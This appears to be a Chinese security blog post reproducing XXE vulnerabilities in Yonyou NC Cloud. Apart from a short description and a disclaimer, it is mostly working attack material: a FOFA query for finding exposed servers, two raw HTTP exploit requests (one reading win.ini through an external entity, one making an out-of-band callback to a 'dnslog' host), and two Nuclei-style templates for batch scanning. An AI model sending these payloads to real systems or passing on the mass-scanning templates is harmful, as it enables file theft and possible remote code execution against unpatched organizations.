漏洞复现--用友NC Cloud XXE

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文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

一：漏洞描述

NC Cloud是指用友公司推出的大型企业数字化平台。支持公有云、混合云、专属云的灵活部署模式。该产品soapFormat和IUpdateService存在XXE漏洞，可导致文件读取和RCE。

二：漏洞影响版本

NC Cloud

三：网络空间测绘查询

fofa:
body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"

四：漏洞复现

POC1:

POST /uapws/soapFormat.ajax HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 259

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

POC2:

POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Host: X.X.X.X
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction: urn:getResult
Content-Type: text/xml;charset=UTF-8
Content-Length: 394

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://dnslog">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

五：批量检测

id: YongYou-NC-Cloud-XXE1

info:
  name: YongYou-NC-Cloud-XXE1
  author: 芝士土拨鼠
  severity: high
  description: NC Cloud是指用友公司推出的大型企业数字化平台。支持公有云、混合云、专属云的灵活部署模式。该产品soapFormat和IUpdateService存在XXE漏洞，可导致文件读取和RCE

requests:
  - raw:
      - |-
        POST /uapws/soapFormat.ajax HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 259

        msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - fonts
      - type: status
        status:
          - 200

id: YongYou-NC-Cloud-XXE2

info:
  name: YongYou-NC-Cloud-XXE2
  author: 芝士土拨鼠
  severity: high
  description: NC Cloud是指用友公司推出的大型企业数字化平台。支持公有云、混合云、专属云的灵活部署模式。该产品soapFormat和IUpdateService存在XXE漏洞，可导致文件读取和RCE

requests:
  - raw:
      - |-
        POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
        SOAPAction: urn:getResult
        Content-Type: text/xml;charset=UTF-8
        Content-Length: 397

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
        <soapenv:Header/>
        <soapenv:Body>
        <iup:getResult>
        <!--type: string-->
        <iup:string><![CDATA[
        <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://dnslog">%aaa;%ccc;%ddd;]>
        <xxx/>]]></iup:string>
        </iup:getResult>
        </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - design
      - type: status
        status:
          - 200